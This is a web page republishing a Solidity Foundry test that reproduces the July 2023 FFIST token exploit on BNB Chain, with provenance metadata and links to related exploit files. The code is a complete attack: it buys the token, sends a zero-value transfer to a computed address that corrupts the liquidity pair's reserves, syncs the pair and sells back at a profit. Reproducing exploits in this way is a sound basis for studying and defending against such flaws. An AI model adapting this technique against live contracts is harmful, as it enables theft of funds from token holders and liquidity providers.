Public reproduction file

src/test/2023-07/FFIST_exp.sol

Public reproduction file for dataset entry FFIST.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-07/FFIST_exp.sol79 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~110K USD$
8// Attacker : https://bscscan.com/address/0xcc8617331849962c27f91859578dc91922f6f050
9// Attack Contract : https://bscscan.com/address/0xb31c7b7bdf69554345e47a4393f53c332255c9fb
10// Vulnerable Contract : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347
11// Attack Tx : https://bscscan.com/tx/0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0
12 
13// @Info
14// Vulnerable Contract Code : https://bscscan.com/address/0x80121da952a74c06adc1d7f85a237089b57af347#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/Phalcon_xyz/status/1681869807698984961
18// Twitter Guy : https://twitter.com/AnciliaInc/status/1681901107940065280
19 
20interface IairdropToken is IERC20 {
21    function lastAirdropAddress() external view returns (address);
22}
23 
24contract ContractTest is Test {
25    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
26    IairdropToken FFIST = IairdropToken(0x80121DA952A74c06adc1d7f85A237089b57AF347);
27    IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
28    address Pair = 0x7a3Adf2F6B239E64dAB1738c695Cf48155b6e152;
29    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
30 
31    function setUp() public {
32        vm.createSelectFork("bsc", 30_113_117);
33        vm.label(address(WBNB), "WBNB");
34        vm.label(address(FFIST), "FFIST");
35        vm.label(address(USDT), "USDT");
36        vm.label(address(Router), "Router");
37    }
38 
39    function testExploit() external {
40        deal(address(WBNB), address(this), 0.01 ether);
41        WBNB.approve(address(Router), type(uint256).max);
42        FFIST.approve(address(Router), type(uint256).max);
43        WBNBToFFIST();
44        pairReserveManipulation();
45        FFISTToWBNB();
46 
47        emit log_named_decimal_uint(
48            "Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), WBNB.decimals()
49        );
50    }
51 
52    function pairReserveManipulation() internal {
53        address to = address(
54            uint160(address(this)) ^ (uint160(FFIST.lastAirdropAddress()) | uint160(block.number)) ^ uint160(Pair)
55        );
56        FFIST.transfer(to, 0);
57        Uni_Pair_V2(Pair).sync();
58    }
59 
60    function WBNBToFFIST() internal {
61        address[] memory path = new address[](3);
62        path[0] = address(WBNB);
63        path[1] = address(USDT);
64        path[2] = address(FFIST);
65        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
66            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
67        );
68    }
69 
70    function FFISTToWBNB() internal {
71        address[] memory path = new address[](3);
72        path[0] = address(FFIST);
73        path[1] = address(USDT);
74        path[2] = address(WBNB);
75        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
76            FFIST.balanceOf(address(this)), 0, path, address(this), block.timestamp
77        );
78    }
79}

Analysis

Dataset entry

Public Foundry test for “FFIST” (2023-07-20). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

23 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-07/ApeDAO_exp.solSame month in the dataset · 103 lines
src/test/2023-07/ArcadiaFi_exp.solSame month in the dataset · 288 lines
src/test/2023-07/AzukiDAO_exp.solSame month in the dataset · 87 lines
src/test/2023-07/Bamboo_exp.solSame month in the dataset · 85 lines
src/test/2023-07/Bao_exp.solSame month in the dataset · 174 lines
src/test/2023-07/BNO_exp.solSame month in the dataset · 94 lines
src/test/2023-07/Carson_exp.solSame month in the dataset · 100 lines
src/test/2023-07/Civfund_exp.solSame month in the dataset · 250 lines
src/test/2023-07/CIVNFT_exp.solSame month in the dataset · 116 lines
src/test/2023-07/Conic_exp.solSame month in the dataset · 274 lines
src/test/2023-07/Conic02_exp.solSame month in the dataset · 131 lines
src/test/2023-07/Curve_exp01.solSame month in the dataset · 95 lines
src/test/2023-07/GYMNET_exp.solSame month in the dataset · 148 lines
src/test/2023-07/Libertify_exp.solSame month in the dataset · 149 lines
src/test/2023-07/MintoFinance_exp.solSame month in the dataset · 104 lines
src/test/2023-07/NewFi_exp.solSame month in the dataset · 99 lines
src/test/2023-07/Palmswap_exp.solSame month in the dataset · 105 lines
src/test/2023-07/Platypus02_exp.solSame month in the dataset · 93 lines
src/test/2023-07/RodeoFinance_exp.solSame month in the dataset · 152 lines
src/test/2023-07/SUT_exp.solSame month in the dataset · 104 lines
src/test/2023-07/USDTStakingContract28_exp.solSame month in the dataset · 64 lines
src/test/2023-07/Utopia_exp.solSame month in the dataset · 86 lines
src/test/2023-07/WGPT_exp.solSame month in the dataset · 140 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xcc8617331849962c27f91859578dc91922f6f050
Attack Contract
0xb31c7b7bdf69554345e47a4393f53c332255c9fb
Vulnerable Contract
0x80121da952a74c06adc1d7f85a237089b57af347

Attack Tx
0x199c4b88cab6b4b495b9d91af98e746811dd8f82f43117c48205e6332db9f0e0

File record

Name: FFIST
Path: src/test/2023-07/FFIST_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: e75a2beb34ff8e1dad16c0ac7861fa1bfb30cf4c
Language: Solidity
Size: 80 lines
Date: 2023-07-20
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-07/FFIST_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob e75a2beb34ff8e1dad16c0ac7861fa1bfb30cf4c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.